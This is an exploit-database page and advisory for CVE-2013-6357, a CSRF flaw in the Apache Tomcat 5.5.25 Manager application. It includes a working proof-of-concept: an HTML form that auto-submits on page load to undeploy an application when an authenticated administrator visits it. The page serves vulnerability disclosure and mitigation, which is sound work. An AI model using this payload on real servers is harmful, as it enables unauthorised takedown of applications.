Apache Tomcat 5.5.25 CSRF Vulnerabilities

vendor:

Tomcat

by:

Ivano Binetti, Gianmarco Pirozzi

7,5

CVSS

HIGH

CSRF

352

CWE

Product Name: Tomcat

Affected Version From: Apache Tomcat 5.5.25

Affected Version To: Apache Tomcat 5.5.25 and below

Patch Exists: YES

Related CWE: CVE-2013-6357

CPE: a:apache:tomcat:5.5.25

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apache Tomcat 5.5.25

2013

Apache Tomcat 5.5.25 CSRF Vulnerabilities

Apache Tomcat 5.5.25 and below (other versions could be affected) is prone to a CSRF vulnerability affecting the Manager application (which is the component utilized to start/stop/deploy/undeploy applications) in order to perform the malicious activities such as stop an existing application, undeploy an existing application, deploy a new application. This exploit demonstrates how to automatically undeploy an existing application.

Mitigation:

Ensure that the Manager application is not exposed to the public internet and is only accessible from trusted networks. Also, ensure that the Manager application is protected with strong authentication.

Source

Exploit-DB raw data:

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# Exploit Title     :  Apache Tomcat 5.5.25 CSRF Vulnerabilities
# Date              :  10-24-2013
# Author            :  Ivano Binetti (http://ivanobinetti.com)
# Author            :  Gianmarco Pirozzi (http://www.linkedin.com/pub/gianmarco-pirozzi/63/80b/2a5)
# Vendor site       :  http://tomcat.apache.org/
# Version           :  Apache Tomcat 5.5.25 and below (other versions could be affected)
# Tested on         :  Apache Tomcat 5.5.25
# Original Advisory :  http://www.webapp-security.com/2013/11/apache-tomcat-5-5-25-deployundeploystartstop-applications/
# CVE-ID            :  CVE-2013-6357
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Summary

1)Introduction
2)Vulnerability Description
3)Exploit
 3.1 Undeploy Applications
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1) Introduction
Apache Tomcat is an open source software implementation of the Java Servlet and JavaServer Pages technologies. 
The Java Servlet and JavaServer Pages specifications are developed under the Java Community Process.

2) Vulnerability Description
Apache Tomcat 5.5.25 and below (other versions could be affected) is prone to a CSRF vulnerability affecting the Manager application
(which is the component utilized to start/stop/deploy/undeploy applications) in order to perform the following malicious activities:

- stop an existing application
- undeploy an existing application
- deploy a new application

In this Advisory I will only demonstate how to automatically undeploy an existing application.

3) Exploit 
 3.1 Undeploy Applications
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit to Undeploy an Application</H2>
 <form method="POST" name="form0" action="http://<tomcat_ip>:<tomcat_tcp/port>/manager/html/undeploy?path=/<name_of_application_to_undeploy>">
 </form>
 </body>
 </html>
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